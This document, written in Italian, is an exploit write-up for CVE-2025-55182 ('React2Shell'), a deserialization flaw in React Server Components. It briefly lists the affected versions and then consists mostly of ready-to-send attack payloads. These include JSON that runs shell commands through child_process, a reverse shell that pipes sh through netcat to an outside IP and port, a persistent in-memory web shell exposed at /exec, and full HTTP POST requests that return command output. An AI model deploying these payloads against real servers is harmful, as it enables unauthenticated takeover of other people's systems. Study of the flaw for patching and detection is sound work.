Vulnerabilità React2Shell - CVE-2025-55182 📓

Introduzione

Questa vulnerabilità, conosciuta come React2Shell, è stata scoperta a dicembre 2025 e interessa componenti di next.js con CVSS 10.0. Con una semplice richiesta POST, è possibile ottenere una grave RCE non autenticata. Di seguito sono elencate le versioni interessate da questa vulnerabilità.

Versioni interessate -> 19.0, 19.1.0, 19.1.1, 19.2.0

• La vulnerabilità interessa i componenti
  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

POC ⚠️

CVE-2025-55182 è fondamentalmente una vulnerabilità di deserializzazione insicura nel modo in cui i componenti React Server gestiscono i payload in arrivo del protocollo Flight. La vulnerabilità risiede nella funzione requireModule all'interno del pacchetto react-server-dom-webpack. Esempio;

function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 ...  
 return moduleExports[metadata[2]];  // Vunl 
}  

Di seguito un esempio di payload per questo exploit.

1. Accedere a process.mainModule (il modulo principale in esecuzione)
2. Usare il suo metodo require per caricare il modulo child_process
3. Chiamare execSync per eseguire un comando del sistema operativo
4. Eseguire il comando ID.

{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B9999\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('id');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

Ora proviamo a riprodurre questo payload.

Payload con reverse shell.

"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 1.1.1.1 4444 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",

Elenco dei Payload 🔥

Ecco un elenco di payload che possono essere usati per esplorare l'applicazione.

• Payload 1

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('id');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

• Payload 2 - Runtime Memory Shell

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

• Payload 3

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

• Payload 4 - Output in Response Header

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--